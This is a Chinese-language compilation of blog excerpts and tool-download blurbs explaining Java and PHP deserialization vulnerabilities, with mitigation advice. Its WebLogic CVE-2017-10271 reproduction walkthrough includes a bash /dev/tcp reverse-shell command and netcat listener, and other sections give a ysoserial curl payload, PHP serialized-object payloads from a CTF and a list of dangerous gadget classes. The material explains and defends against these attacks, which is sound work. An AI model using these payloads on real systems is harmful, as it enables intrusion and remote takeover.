-
2019-07-18 14:06:58
Java反序列化漏洞原理
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。
下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:
public static void main(String args[]) throws Exception {
String obj = "hello world!";// 将序列化对象写入
public static void main(String args[]) throws Exception { String obj = "hello world!"; // 将序列化对象写入文件object.db中 FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件object.db中读取数据 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); ois.close(); }
问题代码分析:
如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。
测试方法:
1、人工审计源代码。
2、利用大佬共享的测试工具,进行测试。
1、将服务器安装的JDK升级到官方最新版本,可以防范目前以往所有公布的Java反序列化漏洞。
2、对于weblogic中间件反序列化漏洞,需要及时打上最新的补丁,或者配置防火墙策略,屏蔽掉T3协议的访问,只开放对HTTP、HTTPS访问。
3、对于Jboss、tomcat等中间件的反序列化漏洞,可以将存在反序列化漏洞的jar包升级到最新版本,但特殊情况下,需要升级的jar包种类比较多,此修复建议很费时。
4、检测防火墙配置,是否开启对Java反序列化漏洞的防范策略。
更多相关内容 -
RMI反序列漏洞复现工具.zip
2020-03-24 17:23:10RMI是REMOTE METHOD INVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象... -
.NET 高级代码审计(第一课)XmlSerializer 反序列漏洞
2019-03-07 11:38:26在.NET 框架中的 XmlSerializer 类是一种很棒的工具,它是将高度结构化的 XML ...触发反序列化漏洞攻击(例如 DotNetNuke 任意代码执行漏洞 CVE-2017-9822),本 文笔者从原理和代码审计的视角做了相关脑图介绍和复现。 -
Java反序列化漏洞利用工具(全)
2018-09-14 11:40:33java反序列化漏洞利用工具包含jboss|weblogic,网上其实有很多,但是用别人的工具收30分是不是有点不厚道,所以我用自己的分下载下来,然后以最低分贡献给大家,上次没有审核通过,希望这次可以…… -
Weblogic+XML反序列化漏洞检查工具CVE-2017-10271+V1.2
2018-05-21 17:44:13好用的Weblogic XML 反序列化漏洞检查工具 CVE-2017-10271 使用范围Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.2.1.1.0版本 Oracle WebLogic Server 12.1.3.0.0版本 -
Java反序列化漏洞检查工具V1.2_Weblogic XML反序列化漏洞检查工具CVE-2017-10271
2020-11-11 09:45:49Java反序列化漏洞检查工具V1.2_Weblogic XML反序列化漏洞检查工具CVE-2017-10271 -
java反序列漏洞验证工具
2016-11-29 09:25:38java反序列漏洞验证工具 -
shiro反序列化漏洞利用工具
2020-11-09 16:13:21图形化界面,该工具支持漏洞检测,请勿用作非法途径,否则后果自负。 Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果... -
Shiro反序列化漏洞检测工具
2021-01-05 17:03:02Shiro1.2.4及以下版本存在反序列化漏洞,该工具用于测试该漏洞。 -
weblogic反序列漏洞补丁
2020-03-08 10:08:14适用版本weblogic10.3.6.0.0,反序列漏洞补丁二合一包含U5I2和6JJ4。 - copy content of this zip file with the exception of README file to your SmartUpdate cache directory (MW_HOME/utils/bsu/cache_dir by ... -
shiro反序列化漏洞暴力破解漏洞检测工具
2020-09-14 17:37:211.shiro反序列化漏洞、暴力破解漏洞检测工具源码 2.shiro反序列化漏洞、暴力破解漏洞检测工具jar包 3.shiro反序列化漏洞、暴力破解漏洞检测工具启动方法 4.shiro反序列化漏洞、暴力破解漏洞检测工具使用方法 5.shiro... -
java反序列漏洞原理分析及防御修复方法
2019-09-06 16:13:11谈起java反序列化漏洞,相信很多人都不会陌生,这个在2015年首次被爆出的漏洞,几乎横扫了包括Weblogic、WebSphere、JBoss、Jenkins等在内的各大java web server,历经几年的发展变种,各种语言工具依次爆出存在可...Java反序列化漏洞原理
谈起java反序列化漏洞,相信很多人都不会陌生,这个在2015年首次被爆出的漏洞,几乎横扫了包括Weblogic、WebSphere、JBoss、Jenkins等在内的各大java web server,历经几年的发展变种,各种语言工具依次爆出存在可利用的反序列化漏洞。
具全网分析以及shodan扫描显示,时至今日,在全球范围内的公网上大约有136,818台服务器依然存在反序列化漏洞。
为什么这个漏洞影响如此之大,却依然让人防不胜防。通过本篇文章,美创第59号安全实验室将为大家剖析java反序列化漏洞原理,寻找防御方法以及修复手段。1. 什么是java序列化与反序列化?
Java 序列化是指把 Java 对象转换为字节序列的过程,以便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以轻松的存储和传输数据,实现多平台之间的通信、对象持久化存储。主要应用在以下场景:
- 当服务器启动后,一般情况下不会关闭,如果逼不得已要重启,而用户还在进行相应的操作,为了保证用户信息不会丢失,实现暂时性保存,需要使用序列化将session信息保存在硬盘中,待服务器重启后重新加载。
- 在很多应用中,需要对某些对象进行序列化,让他们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。
2. Java反序列化漏洞成因
我们需要明确的一点是:Java的序列化和反序列化本身并不存在问题,但如果java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,而非预期的对象在产生过程中就有可能带来任意代码执行的后果。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;正因为此,java提供的标准库及大量第三方公共类库成为反序列化漏洞利用的关键。3. Java反序列化漏洞的发展历史
- 2011年开始,攻击者就开始利用反序列化问题发起攻击
- 2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大java web server纷纷中招,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
- 2016年java中Spring与RMI集成反序列化漏洞,使成百上千台主机被远程访问
- 2017年末,WebLogic XML反序列化引起的挖矿风波,使得反序列化漏洞再一次引起热议。
- 从2018年至今,安全研究人员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞,反序列化漏洞一直在路上。。。
4. Java反序列化漏洞形成原理
实例化一个USER对象,新建一个文件输入流fileout,再建立一个指向fileout的对象输入流out,然后使用writeObject()方法将对象进行序列化保存在文件中
使用winhex打开文件,查看文件内容开头可以发现AC ED 00 05是序列化内容的特征
再次实例化一个USER对象,使用readObject()方法对文件中的内容进行反序列化,获取其中的USER对象
问题出现在,自定义的USER类实现了Serializable的接口,重写了readObject()方法,返回了Runtime.getRuntime.exec(“calc.exe”)这个打开计算器的命令。
值得注意的是,只有实现了Serializable接口的类的对象才可以被序列化,Serializable接口是启用其序列化功能的接口,没有实现此接口的类将不能使他们的任一状态被序列化或反序列化。而readObject()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的一些行为。5. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
0x01 漏洞说明
17年至18年,大量黑客利用weblogic反序列化漏洞CVE-2017-3248和weblogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
0x02 攻击说明
攻击者选定要攻击的目标主机后,利用WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。
此次漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析,其解析XML的调用链为
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法获取到localHeader1后传递给readHeaderOld方法,其内容为work:WorkContext所包裹的数据
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中。最后通过XMLDecoder来进行反序列化操作。
0x03漏洞复现
一般情况下weblogic会开放7001以及7002端口
使用burpsuit中的repeater功能,将poc复制进去,修改host和port
最重要的是在xxxxxx中的xxxxx处更改成一句话反弹shell
/bin/bash -I > /dev/tcp/172.30.70.1/8888 0<&1 2>&1
执行nc -l -p 8888用来开启对8888端口的监听
发送BurpSuit中自己编写的poc,在自己的主机上即可得到反弹shell
6. 如何发现java反序列化漏洞
a. 从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB
b. Java RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是1099端口
c. 从源码入手,可以被序列化的类一定实现了Serializable接口
d. 观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处7. Java反序列化漏洞防御措施
a. 代码审计
反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject同时也要关注第三jar包是否提供了一些公共的反序列化操作接口,如果没有相应的安全校验如白名单校验方案,且输入可控的话就也可能存在安全问题。
b. 进阶审计
对于直接获取用户输入进行反序列化操作这种点比较好审计并发现,目前反序列化漏洞已经被谈起太多次了,所以有经验的开发者都会在代码中有相应的修复。但并不是所有修复都无懈可击。比如采用黑名单校验的修复方式,对于这种修复可在工程代码中尝试挖掘新的可以利用的’gadget‘。
代码中有使用到反序列化操作,那自身项目工程中肯定存在可以被反序列化的类,包括Java自身、第三方库有大量这样的类,可被反序列化的类有一个特点,就是该类必定实现了Serializable接口,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的。
所以在代码审计时对这些类也可进行特别关注,分析并确认是否有可能被发序列化漏洞利用执行任意代码。发现新的可利用的类即可突破使用黑名单进行校验的一些应用。c. 白盒检测
大型企业的应用很多,每个都人工去审计不现实,往往都有相应的自动化静态代码审计工具,这里以ObjectInputStream.readObject()为例,其它反序列化接口的检测原理也相似。在自动化检测时,可通过实现解析java源代码,检测readObject()方法调用时判断其对象是否为java.io.ObjectOutputStream。如果此时ObjectInputStream对象的初始化参数来自外部请求输入参数则基本可以确定存在反序列化漏洞了。这是只需确认是否存在相应的安全修复即可。
d. 黑盒检测
调用ysoserial并依次生成各个第三方库的利用payload(也可以先分析依赖第三方包量,调用最多的几个库的paylaod即可),该payload构造为访问特定url链接的payload,根据http访问请求记录判断反序列化漏洞是否利用成功。如:
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " ’
也可通过DNS解析记录确定漏洞是否存在。.e. RASP检测
Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。
类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以RASP检测反序列化漏洞时可通过重写ObjectInputStream对象的resolveClass方法获取反序列化的类即可实现对反序列化类的黑名单校验。
f. 攻击检测
通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号。我只见到过版本号为5(0x00 05)的数据。考虑到zip、base64各种编码,在攻击检测时可针对该特征进行匹配请求post中是否包含反序列化数据,判断是否为反序列化漏洞攻击。
xxxdeMacBook-Pro:demo xxx$ xxd objectexp
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c …sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU…但仅从特征匹配只能确定有攻击尝试请求,还不能确定就存在反序列化漏洞,还要结合请求响应、返回内容等综合判断是否确实存在漏洞。
8. Java反序列化漏洞修复方案:
a. 通过Hook resolveClass来校验反序列化的类
通过上面序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization》,具体实现代码示例如下:
通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。b. 使用ObjectInputFilter来校验反序列化的类
Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的setObjectInputFilter设置过滤器来实现反序列化类白/黑名单控制。示例代码如下:
c. 黑名单校验修复
在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击,这个做法在源代码修复的时候并不是推荐的方法,因为你不能保证能覆盖所有可能的类,而且有新的利用payload出来时也需要随之更新黑名单。
但有某些场景下可能又不得不选择黑名单方案。写代码的时候总会把一些经常用到的方法封装到公共类,这样其它工程中用到只需要导入jar包即可,此前已经见到很多提供反序列化操作的公共接口,使用第三方库反序列化接口就不好用白名单的方式来修复了。这个时候作为第三方库也不知道谁会调用接口,会反序列化什么类,所以这个时候可以使用黑名单的方式来禁止一些已知危险的类被反序列化,部分的黑名单类如下:
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils
… -
Weblogic 11g反序列漏洞简易修复
2020-11-16 10:46:24Weblogic11g 修复重大漏洞办法,与打补丁有区别,可暂时把漏洞进行修复,避免受到外来数据包攻击。 -
漏洞复现篇——PHP反序列化漏洞
2021-01-08 17:18:30漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言... -
thinkphp:thinkphp反序列化漏洞复现及POC编写
2021-04-25 09:17:11thinkphp thinkphp反序列化复现及POC编写 为学习phpggc,部分payload添加进phpggc thinkphp v5.2.x 获取payload ./phpggc thinkphp/rce2 system whoami -
JAVA反序列化漏洞知识点整理
2021-01-20 03:34:26jenkins反序列漏洞跟过一遍之后,虽说梳理清楚了漏洞触发的大体流程,但是对于JAVA反序列化漏洞导致代码执行的原理仍旧不懂,因此有必要整理JAVA反序列化漏洞相关的知识点。 JAVA反序列化漏洞 反序列化漏洞的... -
java反序列化漏洞利用工具WebLogicExploit_weblogic图形化漏洞利用工具
2021-09-01 22:41:42使用注意: 1. WebLogic反弹需要等5秒左右 2. 该工具为对外测试版,请尽量按照正常思路来用,比如Url填写清楚,IP地址写对了,报错或者抛异常神马的别怪我,调输入校验好蛋疼。 本工具与网上已公布工具优点: 1.... -
Java反序列化漏洞利用工具V1.7.jar
2021-03-25 16:03:49Java反序列化漏洞利用工具 -
java反序列化漏洞工具
2019-03-07 17:02:30该工具用于验证weblogic反序列化漏洞是否存在,工具语言java -
反序列化漏洞分析讲解
2020-09-04 14:40:55漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言...一、什么是反序列化
1.1 漏洞简介
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
1.2反序列化函数
在我们讲PHP反序列化的时候,基本都是围绕着serialize(),**unserialize()**这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。
直接上例子便于理解:
我们先讲一讲比较简单的序列化,我们就用序列化json来举例子吧。虽然序列化Json和我们讲PHP反序列化的漏洞没有什么关系。但是在理解序列化这个概念和之后的内容会有所帮助
json_encode()
json_decode()
这两个函数,一眼就能看出来是做什么用的吧,直接上例子:<?php $book = array('book1'=>'Harry Potter', 'book2'=>'MR.Bean', 'book3'=>'History'); $json = json_encode($book); echo $json; ?>
这边有一个book的数组
‘book1’=>‘Harry Potter’,
‘book2’=>‘MR.Bean’,
‘Book3’=>‘Python Cookbook’,
‘Book4’=>‘History’
如果我们想传输这个数组怎么办呢,我们就可以请json_encode()这个函数帮助我们将这个数组序列化成一串字符串
所以在这里,我们将数组序列化成json格式的字串的目的就是为了方便传输。我们可以看见,这里json格式来保存数据主要是使用键值对的形式。
假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。<?php class DemoClass { public $name = 'sms2056'; public $sex = 'man'; public $age = '7'; } $example = new DemoClass(); $example->name = 'jone'; $example->sex = 'woman'; $example->age = '18'; ?>
这里,我们先创了个DemoClass,里面存了点信息,后来我们new了一个实例$example的时候,将这个class里的一些信息给改变了。
如果我们之后还要用到这个实例怎么办呢,我们就先将他序列化存起来,到时候用的时候再放出来就好啦。
是不是很简单,只要用serialize()这个函数就行了<?php class DemoClass { public $name = 'sms2056'; public $sex = 'man'; public $age = '7'; } $example = new DemoClass(); $example->name = 'jone'; $example->sex = 'woman'; $example->age = '18'; echo serialize($example); ?>
这个时候,我们发现这次序列化出来的格式,和我们上一个序列化json的格式有点不同呢,解释一下:
然后如果反序列化回来的话<?php class DemoClass { public $name = 'sms2056'; public $sex = 'man'; public $age = '7'; } $example = new DemoClass(); $example->name = 'jone'; $example->sex = 'woman'; $example->age = '18'; $val = serialize($example); $NewExample = unserialize($val); echo $NewExample->age; ?>
二. 为什么会产生漏洞
那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?
这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:
在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:__construct()当一个对象创建时被调用 __destruct()当一个对象销毁时被调用 __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup将在序列化之后立即被调用
这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
举个别人的例子:<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
这里我们只要构造payload:
http://127.0.0.1/test.php?test=O:1:“A”:1:{s:4:“test”;s:5:“hello”;}
就能控制echo出的变量,比如你能拿这个来进行反射型xss。三、 实例分析
这里实战一题比较简单的ctf题目吧
<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
可以看见 先是包含了shield.php 然后从中new了个新的实例出来 最后接收用户的反序列化 输出readfile()方法
跟进:<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
这里我们可以看见只要操控
$file
这个参数为pctf.php就可以了,这里construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响我们对$file的操作直接构造序列化对象传过去 O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;} 就行了。四、反序列漏洞的利用思路
在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。
如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.五、现实中查找反序列化漏洞的方法
PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件。于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要程序员不断地复制粘贴 那些include代码了。这种技术同时也方便了我们的漏洞利用.因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。
还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。
1.Composer配置的依赖库存储在vendor目录下
2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上require __DIR__ . '/vendor/autoload.php';
找PHP链的基本思路.
1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.
2.追踪调用过程
3.手工构造 并验证 POP 链
4.开发一个应用使用该库和自动加载机制,来测试exploit.
构造exploit的思路
1.寻找可能存在漏洞的应用
2.在他所使用的库中寻找 POP gadgets
3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
4.将序列化之后的payload发送到有漏洞web应用中进行测试.六、参考
其它不错的PHP反序列化,文章链接:
1、最通俗易懂的PHP反序列化原理分析https://www.freebuf.com/articles/web/167721.html
2、由Typecho 深入理解PHP反序列化漏洞
https://www.freebuf.com/column/161798.html
3、Typecho install.php 反序列化导致任意代码执行
https://p0sec.net/index.php/archives/114/
4、HP反序列化漏洞成因及漏洞挖掘技巧与案例
https://www.anquanke.com/post/id/84922
免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。
-
反序列化漏洞总结
2021-11-24 10:47:01在学习反序列化漏洞之前,需要了解什么是反序列化和序列化,我看到了一个很好的比喻,觉得很适合帮助大家对于两者理解,相信大家都在淘宝买过东西,不知道有没有买过那种小型家具,我有买过鞋柜,商家发货的时候不会...目录
1.了解序列化和反序列化
在学习反序列化漏洞之前,需要了解什么是反序列化和序列化,我看到了一个很好的比喻,觉得很适合帮助大家对于两者理解,相信大家都在淘宝买过东西,不知道有没有买过那种小型家具,我有买过鞋柜,商家发货的时候不会将一个完好的鞋柜寄给你,第一因为中途可能会损坏,第二呢就是增加包装成本。所以商家都会将鞋柜所有部件打包寄过来,顾客拿到快递在自己根据安装教程安装好鞋柜。那么这里面就有两个过程,一个是商家将所以部件打包发走,一个是你拿到安装还原。那么序列化就是商家打包过程,反序列化就是将商品还原过程。为啥有这两个过程,主要是方便数据的传输和保存,因为有一些变量需要重复使用,也就是跨脚本使用,那我不想每个脚本都要定义一下变量名,浪费我的时间,但是一个脚步文件如果执行完成,它会自动释放掉变量的,所以我需要反序列化将变量保存起来,然后给其他脚本使用。我感觉大部分漏洞都是程序员偷懒的,哈哈哈,开个小玩笑。
2.php反序列化和序列化
2.1无类序列化和反序列化演示
我们通过比喻对于序列化和反序列化有了一定了解,那么具体在代码中是怎么体现的呢,这里我们以php代码给大家展示一下,那么说到php序列化就的说两个函数serialize和unserialize,serialize函数是将数据序列化,unserialize函数是将数据反序列化。这是一个在线工具,大家可以自己练习
<?php $name = 'nihao';//定义一个变量 $usr = serialize($name);//将变量序列化 $aa=unserialize($usr);//将变量反序列化 echo $usr;//打印序列化之后的内容 echo $aa;//打印反序列化之后的内容 ?>
可以看到序列化之前数据是$name='nihao',一个变量的定义,序列化之后是s:5:"nihao"。
s指的是数据类型string字符串类型,5是有五个字符,后面就是具体的内容。
反序列化就是序列化的反面过程,那么通常情况下不会这么简单,这种给大家演示是无类情况,我们用到的场景都是有类场景。
2.2有类序列化和反序列化演示
2.2.1类的理解
这里呢怕有的对于类的不了解和代码不了解,简单说明一下。
举一个例子说明下类,比如人类就是一个类,那么具体的某个人“张三”就是“人类”这个类的具体对象,而“姓名、身高、体重”等信息就是对象的属性,人的动作比如“吃饭、穿衣”等就是对象的方法。
类都是抽象化,如果你想类具体,通过new 就可以让类具体化了,就可以使用里面的方法。
<?php class TestClass//类名 { //一个变量,相当于属性 public $name = 'zhansan'; //一个简单的方法 public function Printaa() { echo $this->name; } } //创建一个对象 $ob = new TestClass(); //调用一个方法 $ob->Printaa(); ?>
2.2.2有类序列化过程
可以看到当序列化对象是类的时候,序列化是将变量变成更好传输和存储的数据。序列化使变量值在跨脚本文件传递的过程,不会因为之前脚本执行完,变量和内容释放掉,而不能使用。
<<?php class TestClass//类名 { public $variable = 'This is a string'; public $age = 12; public function printdata() { echo 'hello'; } } $object = new TestClass();//创建对象 $aa=serialize($object);//序列化 echo $aa; ?>
下面的O:9:"TestClass":2:{s:8:"variable";s:4:"Tina";s:3:"age";i:12;}就是对象TestClass序列化后的形式,“O”表示对象,“9”表示对象名长度为9,“TestClass”为对象名,“2”表示有2个参数。“s”表示string字符串,“8”表示长度,“variable”则为变量值;“i”是interger就是整数,“12”是变量值,整数灭有长度。
2.2.3有类反序列化过程
<?php //一个类 class TestClass { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo $this->name; echo $this->age; } } //重建对象 $usr = unserialize('O:9:"TestClass":2:{s:3:"age";i:22;s:4:"name";s:9:"vergilben";}'); //输出数据 $usr->printdata(); ?>
3.魔法方法
php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。下面一个而案例来加深理解。
__construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发
<?php class TestClass { // 一个变量 public $variable = 'hello'; // 一个简单的方法 public function PrintVariable() { echo $this->variable . '<br />'; } public function __construct() { echo '__construct <br />'; } public function __destruct() { echo '__destruct <br />'; } public function __wakeup() { echo '__wakeup <br />'; } public function __toString() { return '__toString <br />'; } } // 创建一个对象 // 1. __construct会被调用 打印construct $object = new TestClass(); //2. 创建一个方法 打印hello $object->PrintVariable(); //序列化 $aa=serialize($object); //3.进行反序列化 打印wakeup $bb=unserialize($aa); //4.打印序列化结果 echo $aa; // 对象被当作一个字符串 //5. __toString会被调用 打印tostring echo $object //6. 脚本结束__destruct会被调用 调用二次,二个对象释放了 ?>
4.简单案列
4.1__wakeup()反序列化案列
